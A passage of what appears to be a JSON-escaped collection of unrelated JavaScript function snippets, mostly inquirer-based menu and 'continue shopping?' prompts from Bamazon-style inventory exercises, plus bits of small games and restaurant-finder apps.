message: \\\"Would you like to purchase another item?\\\"\\n }\\n ]).then(function(answer) {\\n if(answer.reply) {\\n buy();\\n } \\n else \\n {\\n console.log(\\\"Thanks for shopping Bamazon!\\\");\\n connection.end();\\n }\\n });\\n}\",\n \"async displayFoodChoice(step) {\\n const user = await this.userProfile.get(step.context, {});\\n if (user.food) {\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n } else {\\n const user = await this.userProfile.get(step.context, {});\\n\\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\\n\\n if (step.context.activity.text == 1) {\\n user.food = \\\"European\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 2) {\\n user.food = \\\"Chinese\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 3) {\\n user.food = \\\"American\\\";\\n await this.userProfile.set(step.context, user);\\n }else {\\n await this.userProfile.set(step.context, user);\\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\\n return await step.beginDialog(WHICH_FOOD);\\n }\\n\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n }\\n return await step.beginDialog(WHICH_PRICE);\\n //return await step.endDialog();\\n}\",\n \"function continueShopping(){\\n inquirer.prompt(\\n {\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Do you want to continue shopping?\\\",\\n default: true\\n }\\n ).then(answers=>{\\n if(answers.confirm){\\n displayProducts();\\n }else{\\n connection.end();\\n }\\n });\\n}\",\n \"setSelectedRestaurant(state, resto) {\\n state.selectedRestaurant = resto;\\n }\",\n \"function askAgain(){\\n\\tconsole.log(\\\"=============================================================\\\");\\n\\tinquirer.prompt([\\n\\t\\t{\\n\\t\\t\\ttype: \\\"confirm\\\",\\n\\t\\t\\tname: \\\"confirm\\\",\\n\\t\\t\\tmessage: \\\"Would you like to do another task?\\\",\\n\\t\\t\\tdefault: false\\n\\t\\t}\\n\\t]).then(function(again){\\n\\t\\tif (again.confirm){\\n\\t\\t\\tsupervisorOptions();\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tconsole.log(\\\"All tasks are done.\\\");\\n\\t\\t\\t// Exits node program execution\\n\\t\\t\\tprocess.exit();\\n\\t\\t}\\n\\t});\\n}\",\n \"function repeat() {\\n inquirer\\n .prompt({\\n name: \\\"gotoMainMenu\\\",\\n type: \\\"list\\\",\\n message: \\\"Do you want to go back to main menu ?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n })\\n .then(function (choice) {\\n if (choice.gotoMainMenu === \\\"Yes\\\") {\\n start();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"function askAgain() {\\n\\n inquirer\\n .prompt({\\n name: \\\"nextSteps\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like to continue shopping?\\\",\\n choices: [\\\"YES\\\", \\\"NO\\\"]\\n })\\n .then(function(answer) {\\n \\n if (answer.nextSteps.toUpperCase() === \\\"NO\\\") {\\n\\n console.log(chalk.yellow(\\\"\\\\nHope you had a pleasant experience. Come again soon!\\\\n\\\"));\\n\\n //turns off the connection from db\\n connection.end();\\n }\\n\\n else {\\n\\n \\t//the first function is called again\\n \\treadProducts();\\n\\n\\n } \\n\\n });\\n}\",\n \"function continuePrompt(){\\n inquirer\\n .prompt({\\n name: \\\"repeat\\\",\\n type: \\\"list\\\",\\n message: \\\"Is there anything else you'd like to do?\\\",\\n choices: [\\n \\\"Yes\\\",\\n \\\"No, I'm done.\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch(answer.repeat){\\n case \\\"Yes\\\":\\n optionMenu();\\n break;\\n\\n case \\\"No, I'm done.\\\":\\n console.log(\\\"\\\\nHave a nice day!\\\\n\\\");\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function runAgain(){\\n inquire.prompt([\\n {\\n name: 'again',\\n message: 'Would you like to make another purchase?',\\n type: 'confirm'\\n }\\n ]).then(function(res){\\n if (res.again){\\n customer();\\n } else {\\n console.log('We hope to see you at the Agora again!');\\n checkout();\\n }\\n })\\n}\",\n \"function supervisorMenu() {\\n inquirer\\n .prompt({\\n name: 'apple',\\n type: 'list',\\n message: 'What would you like to do?'.yellow,\\n choices: ['View Product Sales by Department',\\n 'View/Update Department',\\n 'Create New Department',\\n 'Exit']\\n })\\n .then(function (pick) {\\n switch (pick.apple) {\\n case 'View Product Sales by Department':\\n departmentSales();\\n break;\\n case 'View/Update Department':\\n updateDepartment();\\n break;\\n case 'Create New Department':\\n createDepartment();\\n break;\\n case 'Exit':\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function restartFunction() {\\n inquirer.prompt([\\n {\\n name:\\\"action\\\",\\n type:\\\"list\\\",\\n message: \\\"Do you want to do another operation?\\\",\\n choices: [\\n \\\"Yes, please.\\\",\\n \\\"No, I am fine thank you.\\\"\\n ]\\n }\\n ]).then(function(answer) {\\n if(answer.action === \\\"Yes, please.\\\") {\\n menuOptions();\\n } else {\\n connection.end();\\n }\\n })\\n}\",\n \"function fightOrFlight() {\\n var fightOrFlight = ask.question(\\\"Do you choose to fight or run? Type 'f' to fight or 'r' to run\\\\n\\\")\\n if (fightOrFlight === \\\"f\\\") {\\n fight();\\n } else {\\n run();\\n }\\n}\",\n \"function startPrompt() {\\n \\n inquirer.prompt([{\\n\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Welcome to Zohar's Bamazon! Wanna check it out?\\\",\\n default: true\\n\\n }]).then(function(user){\\n if (user.confirm === true){\\n inventory();\\n } else {\\n console.log(\\\"FINE.. come back soon\\\")\\n }\\n });\\n }\",\n \"function endStart(){\\n inquirer.prompt({\\n name: \\\"confirm\\\",\\n type: \\\"confirm\\\",\\n message: \\\"continue shopping?\\\",\\n // default: true\\n }).then(function (data) {\\n if (data.confirm === false)\\n \\n process.exit();\\n else \\n start();\\n });\\n}\",\n \"function shopAgain(){\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"shop\\\",\\n message: \\\"Would you like to buy another item?\\\",\\n choices: [\\\"YES\\\", \\\"NO\\\"]\\n }\\n ]).then(function(answer) {\\n if (answer.shop === \\\"YES\\\") {\\n runBamazon();\\n } else {\\n console.log(\\\"Thank you for shopping with us, have a nice day!\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"eat() {\\r\\n let consume = this.food - 2\\r\\n if (consume > 1) {\\r\\n this.isHealthy = true\\r\\n return this.food = consume\\r\\n } if (consume <= 0) {\\r\\n this.isHealthy = false\\r\\n return this.food = 0\\r\\n }\\r\\n else if (consume <= 1) {\\r\\n return this.food = consume\\r\\n //alert(this.name + \\\" food supply reached to 0. It's time for a hunt\\\")\\r\\n //this.isHealthy = true\\r\\n }\\r\\n\\r\\n }\",\n \"function superAsk(){\\n\\n inquirer\\n .prompt([\\n // Here we create a basic text prompt.\\n {\\n type: \\\"rawlist\\\",\\n message: \\\"Greetings, what action would you like to perform today? (select by picking a #)\\\",\\n choices: ['View Product Sales by Department', 'Create New Department', 'Exit'],\\n name: \\\"action\\\", \\n },\\n\\n ])\\n .then(function(response) {\\n\\n switch (response.action) {\\n case 'View Product Sales by Department':\\n viewProdSales();\\n break;\\n case 'Create New Department':\\n createDept();\\n break;\\n case 'Exit':\\n process.exit();\\n break;\\n default:\\n console.log('Whoops! Looks like something went wrong. Are you sure you picked a number 1-2?');\\n }\\n });\\n}\",\n \"function fightOrCave() {\\n\\n let whereNext = prompt(\\\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\\\").toLowerCase();\\n\\n if (whereNext === \\\"grottan\\\"){\\n goToCaveSecondTime();\\n }\\n else if (whereNext === \\\"fight\\\") {\\n alert(\\\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\\\")\\n goToCaveSecondTime();\\n }\\n else {\\n alert(\\\"Vänligen ange fight eller grottan\\\")\\n fightOrCave()\\n }\\n\\n \\n}\",\n \"function runAgain2(){\\n console.log('That item ID was not found in our records.');\\n inquire.prompt([\\n {\\n name: 'again',\\n message: 'Would you like to make another purchase?',\\n type: 'confirm'\\n }\\n ]).then(function(res){\\n if (res.again){\\n customer();\\n } else {\\n console.log('We hope to see you at the Agora again!');\\n checkout();\\n }\\n })\\n}\",\n \"function handleNewMealRequest(response) {\\n // Get a random meal from the random meals list\\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\\n var meal = RANDOM_MEALS[mealIndex];\\n\\n // Create speech output\\n var speechOutput = \\\"Here's a suggestion: \\\" + meal;\\n\\n response.tellWithCard(speechOutput, \\\"MealRecommendations\\\", speechOutput);\\n}\",\n \"function again() {\\n inquirer.prompt({\\n name: \\\"shop\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like to keep shopping?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }).then(function(answer){\\n if(answer.shop == \\\"Yes\\\"){\\n list();\\n } else {\\n console.log(\\\"Please come back soon!\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"pickUpFood() {\\n var surTile = this.Survivor.getCurrentTile();\\n for (const f of this.foodStock) {\\n if (surTile === f.getTile() && f.getActive()) {\\n f.setActive(false);\\n this.playerFood += this.foodValue;\\n this.playerScore += 10;\\n }\\n }\\n }\",\n \"function restartPrompt(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Would you like to continue shopping?\\\".question,\\n default: true\\n }\\n ]).then(function(input){\\n // If customer wants to continue show products again\\n if(input.confirm){\\n showProducts();\\n }\\n else{\\n console.log(\\\"Thank you for shopping with Bamazon!\\\".magenta);\\n connection.end();\\n }\\n })\\n}\",\n \"function startOver() {\\n\\tinquirer.prompt([\\n\\t\\t{\\n\\t\\t\\tname: \\\"confirm\\\",\\n\\t\\t\\ttype: \\\"confirm\\\",\\n\\t\\t\\tmessage: \\\"Would you like to make another selection?\\\"\\n\\t\\t}\\n\\t]).then(function(answer) {\\n\\t\\tif (answer.confirm === true) {\\n\\t\\t\\tdisplayOptions();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Goodbye!\\\");\\n\\t\\t}\\n\\t});\\n}\",\n \"function keepShopping(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"do you want to keep shopping for beers?\\\",\\n name: \\\"confirm\\\"\\n }\\n ]).then(function(res){\\n if (res.confirm){\\n console.log(\\\"----------------\\\");\\n showProducts();\\n } else {\\n console.log('Thank you for shopping in our online bar, happy drinking!');\\n connection.end();\\n }\\n })\\n}\",\n \"function endRepeat() {\\n inquirer\\n .prompt([{\\n type: \\\"list\\\",\\n name: \\\"wish\\\",\\n message: \\\"\\\\nDo you want to perform another operation?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }]).then( answer => {\\n if (answer.wish === \\\"Yes\\\") {\\n showMenu();\\n } else {\\n connection.end();\\n }\\n })\\n}\",\n \"function resetProductView(){\\n \\n inquirer.prompt([\\n {\\n type: \\\"rawlist\\\",\\n name: \\\"action\\\",\\n message: \\\"What would you like to do next?\\\",\\n choices:[\\\"I want to checkout\\\", \\\"I want to continue shopping\\\"]\\n }\\n\\n ]).then(function(answers){\\n if(answers.action === \\\"I want to checkout\\\"){\\n console.log(\\\"Good Bye, hope to see you again!\\\");\\n }else if (answers.action === \\\"I want to continue shopping\\\"){\\n customerview();\\n }\\n });\\n\\n}\",\n \"function pickUp(index) {\\n var pt = self[self.turn];\\n var result = self.food[pt];\\n if (!result) return; // Nothing to do\\n if (result.length == 1) index = 0; // Unique\\n if (index == null) { // Can't decide now...\\n newState.pending = action;\\n return;\\n }\\n reward += self.food[pt][index]; // Take the food\\n newState.food[pt] = null; // Food is now gone\\n }\",\n \"function another() {\\n inquirer\\n .prompt(\\n {\\n name: 'another',\\n type: 'confirm',\\n message: 'Would you like to continue shopping?'\\n },\\n\\n )\\n .then(function (answer) {\\n if (answer.another === true) {\\n start();\\n } else {\\n console.log('Thanks for shopping with us! Your orders will be shipped promptly.')\\n connection.end();\\n }\\n });\\n\\n}\",\n \"function anotherAction() {\\n\\n inquirer\\n .prompt([\\n {\\n name: \\\"confirm\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to complete another action?\\\"\\n }\\n ])\\n .then(function (answer) {\\n if (answer.confirm == true) {\\n showMenu();\\n }\\n else {\\n console.log(\\\"Goodbye.\\\");\\n connection.end();\\n }\\n\\n });\\n\\n}\",\n \"function systemSelection(option){\\n\\tvar check = option; \\n\\tif(vehicleFuel<=0){\\n\\t\\tgameOverLose();\\n\\t}\\n\\n\\telse{\\n\\n\\n\\tif(currentLocation===check){\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, You're already there or have been there. I will return you to the main menu to make another choice\\\",beginTravel);\\n\\t\\t\\t}\\n\\n\\telse{\\n\\t\\n\\t\\t\\tif(check.toLowerCase() === \\\"e\\\"){\\n\\t\\t\\t\\tvehicleFuel=(vehicleFuel-10);\\n\\t\\t\\t\\tcurrentLocation=\\\"e\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Earth...You used 10 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToEarth);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"m\\\"){\\n\\t\\t\\t//need to add a 'visited' conditional\\n\\t\\t\\tvehicleFuel=(vehicleFuel-20);\\n\\t\\t\\tcurrentLocation=\\\"m\\\" ;\\n\\t\\t\\t\\tgamePrompt(\\\"Flying to Mesnides...You used 20 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\", goToMesnides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"l\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-50);\\n\\t\\t\\tcurrentLocation=\\\"l\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Laplides...You used 50 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToLaplides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"k\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-120);\\n\\t\\t\\tcurrentLocation=\\\"k\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Kiyturn...You used 120 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToKiyturn);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"a\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-25);\\n\\t\\t\\tcurrentLocation=\\\"a\\\";\\n\\t\\t\\tgamePrompt(\\\"Flying to Aenides...You used 25 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToAenides);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"c\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-200);\\n\\t\\t\\tcurrentLocation=\\\"c\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Cramuthea...You used 200 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToCramuthea);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"s\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-400);\\n\\t\\t\\tcurrentLocation=\\\"s\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Smeon T9Q...You used 400 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToSmeon);\\n\\t\\t\\t}\\n\\t\\telse if(check.toLowerCase() === \\\"g\\\"){\\n\\t\\t\\tvehicleFuel=(vehicleFuel-85);\\n\\t\\t\\tcurrentLocation=\\\"g\\\" ;\\n\\t\\t\\tgamePrompt(\\\"Flying to Gleshan 7Z9...You used 85 gallons of gas. The \\\"+ vehicleName +\\\" now has \\\"+vehicleFuel+ \\\" gallons.\\\",goToGleshan);\\n\\t\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tgamePrompt(\\\"Sorry Captain, I did not understand you. I will return you to the main menu\\\",beginTravel);\\n\\t\\t}\\n\\t}\\n\\t}\\n}\",\n \"eat () {\\n if (this.food === 0) {\\n this.isHealthy = false;\\n\\n } else {\\n this.food -= 1;\\n }\\n }\",\n \"function chap19(){\\n var wantChicken = false;\\n var foodArray = [\\\"Salmon\\\", \\\"Tilapia\\\", \\\"Tuna\\\", \\\"Lobster\\\"];\\n var customerOrder = prompt(\\\"What would you like?\\\", \\\"Look the menu\\\");\\n for (var i = 0; i <= 3; i++) {\\n if (customerOrder === foodArray[i]) {\\n wantChicken = true;\\n alert(\\\"We have it on the menu!\\\");\\n break;\\n }\\n }\\n if(wantChicken===false) {\\n\\t\\talert(\\\"We don't serve chicken here, sorry.\\\");\\n\\t}\\n}\",\n \"function start() {\\n inquirer.prompt([{\\n name: \\\"entrance\\\",\\n message: \\\"Would you like to shop with us today?\\\",\\n type: \\\"list\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }]).then(function(answer) {\\n // if yes, proceed to shop menu\\n if (answer.entrance === \\\"Yes\\\") {\\n menu();\\n } else {\\n // if no, end node cli \\n console.log(\\\"---------------------------------------\\\");\\n console.log(\\\"No?!?!?! What do you mean no!?!?!?!?!?\\\");\\n console.log(\\\"---------------------------------------\\\");\\n connection.destroy();\\n return;\\n }\\n });\\n}\",\n \"function start() {\\n inquirer.prompt({\\n name: \\\"select\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"VIEW SALES\\\", \\\"CREATE NEW DEPARTMENT\\\", \\\"DELETE DEPARTMENT\\\", \\\"EXIT\\\"]\\n }).then(function (answers) {\\n if (answers.select.toUpperCase() === \\\"VIEW SALES\\\") {\\n viewSales();\\n } else if (answers.select.toUpperCase() === \\\"CREATE NEW DEPARTMENT\\\") {\\n newDepartment();\\n } else if (answers.select.toUpperCase() === \\\"DELETE DEPARTMENT\\\") {\\n deleteDepartment();\\n } else {\\n // Selecting \\\"EXIT\\\" just takes the user here\\n connection.end();\\n }\\n });\\n}\",\n \"function start() {\\n inquirer\\n .prompt({\\n name: \\\"choice\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory Less than 30 items in stock\\\",\\n \\\"Update current Items Stock Quantity\\\",\\n \\\"Add New Product to Current Dept\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch (answer.choice) {\\n case \\\"View Products for Sale\\\":\\n viewAll();\\n break;\\n case \\\"View Low Inventory Less than 30 items in stock\\\":\\n viewLowInv();\\n break;\\n case \\\"Update current Items Stock Quantity\\\":\\n // viewAll();\\n addToInv();\\n break;\\n case \\\"Add New Product to Current Dept\\\":\\n addNewProduct();\\n break;\\n }\\n });\\n}\",\n \"findCraving(type) {\\n \\n // Make sure a craving has been selected - if not alert user and abort.\\n if (app.currentCraving === 0) {\\n app.showAlert(\\\"No craving\\\", \\\"Please select a craving to continue!\\\");\\n return;\\n }\\n // Opens the loading screen\\n app.showLoadingScreen();\\n // Builds our call url.\\n // Base URL // Current LAT //Current Lon // CurrentCraving \\n var callUrl = `${ apiUrls.zomatoBase }/search?lat=${ app.latLong[0] }&lon=${ app.latLong[1] }&cuisines=${ app.currentCraving }&radius=3000`;\\n \\n // See if the user opted to hide restaurants they've visited.\\n var hidePrev = $(\\\"#chk-hide-previous\\\").is(\\\":checked\\\");\\n \\n // Zero out our array.\\n app.restaurantResults.length = 0;\\n\\n // Performs the API call.\\n app.callApi(\\\"get\\\", callUrl, apiKeys.zomato.header).then((response) => {\\n // Loops through our responses\\n for (var i = 0; i < response.restaurants.length; i++) {\\n // Gets the current restaurant.\\n var rest = response.restaurants[i].restaurant;\\n // Creates an object\\n var newRestaurant = new Restaurant(rest.id, rest.name, rest.location.address, rest.location.latitude, rest.location.longitude,\\n rest.thumb, rest.price_range, rest.average_cost_for_two, rest.featured_image, rest.user_rating.rating_text, rest.user_rating.aggregate_rating);\\n // Gets the distance as a float\\n newRestaurant.distance = parseFloat(distance(app.latLong[0], app.latLong[1], newRestaurant.lat, newRestaurant.lon));\\n // Assume we can push it into our results array.\\n var canPush = true;\\n // If we want to hide it\\n if (hidePrev) {\\n // Make sure we have a list of restaurants the user has been to\\n if (app.currentUser.restaurants) {\\n // Loop through the users' visited restaurants\\n for (var j = 0; j < app.currentUser.restaurants.length; j++) {\\n // Compare it with our current working restaurant\\n if (newRestaurant.id === app.currentUser.restaurants[j]) {\\n // If it's there, flag we cannot push it to the array.\\n canPush = false;\\n }\\n }\\n }\\n }\\n if (canPush) {\\n // If we made it, push it into our results array.\\n app.restaurantResults.push(newRestaurant);\\n }\\n };\\n // if the user wanted\\n if (type === \\\"fast\\\") {\\n app.restaurantResults.sort(app.sortByDistance);\\n } else {\\n app.restaurantResults.sort(app.sortByQuality);\\n }\\n // Populate our results screen\\n app.populateResults();\\n // Hide the loading overlay\\n app.hideLoadingScreen();\\n // Fade into our results screen\\n app.switchScreens(\\\"#craving-select-screen\\\", \\\"#results-screen\\\", true);\\n });\\n }\",\n \"function askIfDone() {\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to return to the main menu?\\\",\\n name: \\\"decision\\\"\\n }\\n ]).then(function(response){\\n if(response.decision === true) {\\n menu();\\n }\\n else {\\n console.log(\\\"\\\\nThank you. Goodbye.\\\");\\n console.log(\\\"\\\\n============================================\\\");\\n connection.end();\\n }\\n });\\n}\",\n \"function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\\n if(userInput === \\\"1\\\"){\\n \\n randomDestination = yesOrNo(destination,destination);\\n \\n }\\n else if (userInput === \\\"2\\\") {\\n \\n randomRestaurant = yesOrNo(restaurant,restaurant);\\n }\\n else if (userInput === \\\"3\\\") {\\n \\n randomTravelType = yesOrNo(transportation, transportation);\\n }\\n else if (userInput === \\\"4\\\") {\\n \\n randomEntertainment = yesOrNo(entertainment,entertainment);\\n }\\n}\",\n \"function start(){\\n inquirer.prompt({\\n type: \\\"list\\\",\\n message: \\\"What would you like to view?\\\",\\n name: \\\"answer\\\",\\n choices: [\\\"All inventory\\\", \\\"Electronics\\\", \\\"Furniture\\\", \\\"Apparel\\\", \\\"Camping/Outdoors\\\", \\\"Tools\\\", \\\"Exit\\\"]\\n }).then(function(data){\\n if(data.answer === \\\"Exit\\\"){\\n console.log(\\\"\\\\nThanks for shopping with Bamazon!\\\\n\\\".green);\\n connection.end();\\n }\\n else if(data.answer === \\\"All inventory\\\"){\\n query = \\\"SELECT * FROM products\\\"\\n showItems();\\n }\\n else{\\n query = \\\"SELECT * FROM products WHERE department = \\\" + \\\"'\\\" + data.answer.toLowerCase() + \\\"'\\\"\\n showItems();\\n }\\n \\n }) \\n}\",\n \"function callNextActionOrExit(answer) {\\n if (answer.userSelection === \\\"View Products for Sale\\\") {\\n console.log(\\\"You want to view products\\\");\\n viewProducts();\\n } else if (answer.userSelection === \\\"View Low Inventory\\\") {\\n console.log(\\\"You want to view inventory\\\")\\n viewLowInventory();\\n } else if (answer.userSelection === \\\"Add to Inventory\\\") {\\n console.log(\\\"You want to add to inventory\\\")\\n addToInventory();\\n } else if (answer.userSelection === \\\"Add New Product\\\") {\\n console.log(\\\"You want to add a new product\\\")\\n getNewItem();\\n } else {\\n database.endConnection();\\n }\\n}\",\n \"function optionMenu(){\\n inquirer\\n .prompt({\\n name: \\\"menu\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"Nothing, I've changed my mind.\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch(answer.menu){\\n case \\\"View Products for Sale\\\":\\n showProducts();\\n\\n // continuePrompt is delayed to allow showProducts to be completed\\n setTimeout(continuePrompt,300);\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n\\n // continuePrompt is delayed to allow lowInventory to be completed\\n setTimeout(continuePrompt,300);\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n showProducts()\\n\\n // addInventory is delayed to allow lowInventory to be completed\\n setTimeout(addInventory,300);\\n break;\\n\\n case \\\"Add New Product\\\":\\n newProduct();\\n break;\\n\\n case \\\"Nothing, I've changed my mind.\\\":\\n console.log(\\\"\\\\nHave a nice day!\\\\n\\\");\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function start() {\\n inquirer.prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View All departments\\\",\\n \\\"View All employees\\\",\\n \\\"View All roles\\\",\\n \\\"Add roles\\\",\\n \\\"Add departments\\\",\\n \\\"Add employees\\\",\\n \\\"Delete roles\\\",\\n \\\"Delete departments\\\",\\n \\\"Exit\\\"\\n ]\\n })\\n .then(function(res) { \\n switch (res.action) {\\n case \\\"View departments\\\":\\n viewDep();\\n break;\\n \\n case \\\"View All employees\\\":\\n viewEmp();\\n break;\\n \\n case \\\"View All roles\\\":\\n viewRole();\\n break;\\n \\n case \\\"Add roles\\\":\\n addRole();\\n break;\\n \\n case \\\"Add departments\\\":\\n addDep();\\n break;\\n\\n case \\\"Add employees\\\":\\n addEmp();\\n break;\\n\\n case \\\"Update employee roles\\\":\\n updateEmpRole();\\n break;\\n \\n case \\\"Delete roles\\\":\\n deleteRole();\\n break;\\n \\n case \\\"Delete departments\\\":\\n deleteDep();\\n break;\\n \\n case \\\"Exit\\\":\\n end();\\n break\\n }\\n });\\n }\",\n \"async eatEnergy() {\\n await this.updateAvailableEat();\\n let response = await this.sendRequest(\\\"foodSystem.php\\\", { \\\"whatneed\\\": \\\"eatFrmHldnk\\\" });\\n debug(\\\"Eating...\\\", response);\\n return response;\\n }\",\n \"function doChoice(e) {\\n if (this.selectedIndex>0) {\\n var c = favlist[this.options[this.selectedIndex].value];\\n\\t\\tvar fail = false;\\n if (c) {\\n var i;\\n setNotice('Loading fav ...');\\n for (i=1;i<=c.length;i++) {\\n fail |= setState(i,c[i-1]);\\n }\\n for (;i<=11;i++) {\\n clearState(i);\\n }\\n }\\n this.selectedIndex = 0;\\n\\t\\tif (fail)\\n\\t\\t\\taddNotice('Item(s) not found!');\\n\\t\\telse\\n\\t\\t\\taddNotice('Fav loaded!');\\n }\\n}\",\n \"function initSelectRestaurant(restaurants, searchTerm){\\n $(function(){\\n\\n var getRestaurant = window.LE.restaurants.getRestaurant\\n\\n userdata.restaurant = null;\\n\\n //dummy var\\n var isSearch = null;\\n\\n // prepare template\\n var source = $(\\\"#restaurant-dropdown-template\\\").html();\\n var template = Handlebars.compile(source);\\n\\n html = template(restaurants); \\n\\n // populate dropdown for restaurants\\n var renderingRestaurants = $('#render-restaurants').after(html);\\n\\n // render confirmation of the search term so the user remembers what they were looking for\\n var renderingSearchTerm = $('#select-restaurant-search-term').html(searchTerm);\\n\\n // when the restaurant changes, we need to display rate and other data\\n $.when(renderingRestaurants, renderingSearchTerm).done(function(){\\n renderRestaurantDetails(templates.templateRestInfo, getRestaurant, isSearch);\\n });\\n \\n $(\\\"#select-restaurant-continue-button\\\").on(\\\"click\\\", function(){\\n // this is the restaurant id to render later\\n var selectedVal = $(\\\"#restaurant\\\").val();\\n\\n if(_debug){ console.log(selectedVal); }\\n\\n if(selectedVal == \\\"\\\"){\\n document.getElementById(\\\"restaurant-alert\\\").innerHTML = \\\"Required.\\\";\\n }else{\\n\\n // cleanup old event handlers before leaving home context\\n destroyHome();\\n\\n userdata.currentRestaurant = selectedVal;\\n initSelectItem(selectedVal);\\n // ease scroll to top of next view\\n $(\\\"html, body\\\").animate({ scrollTop: 0 }, \\\"slow\\\");\\n }\\n });\\n });\\n}\",\n \"function continuePrompt(){\\n inquirer.prompt({\\n type: \\\"confirm\\\",\\n name: \\\"continue\\\",\\n message: \\\"Continue....?\\\",\\n }).then((answer) => {\\n if (answer.continue){\\n showMainMenu();\\n } else{\\n exit();\\n }\\n })\\n}\",\n \"function start (p){\\n\\tresetting=true;\\n\\tfoodCounter=0;\\n\\tdeleteAllFood();\\n\\treset(p);\\n}\",\n \"function promptAction() {\\n inquirer.prompt([{\\n type: 'list',\\n message: 'Select from list below what action you would like to complete.',\\n choices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product'],\\n name: \\\"action\\\"\\n }, ]).then(function(selection) {\\n switch (selection.action) {\\n case 'View Products for Sale':\\n viewAllProducts();\\n break;\\n\\n case 'View Low Inventory':\\n lowInventoryList();\\n break;\\n\\n case 'Add to Inventory':\\n addInventory();\\n break;\\n\\n case 'Add New Product':\\n addNewProduct();\\n break;\\n }\\n }).catch(function(error) {\\n throw error;\\n });\\n}\",\n \"function nextAction() {\\n\\tinquirer.prompt({\\n\\t\\tmessage: \\\"What would you like to do next?\\\",\\n\\t\\ttype: \\\"list\\\",\\n\\t\\tname: \\\"nextAction\\\",\\n\\t\\tchoices: [\\\"Add More Items\\\", \\\"Remove Items\\\", \\\"Alter Item Order Amount\\\", \\\"Survey Cart\\\", \\\"Checkout\\\"]\\n\\t})\\n\\t\\t.then(function (actionAnswer) {\\n\\t\\t\\tswitch (actionAnswer.nextAction) 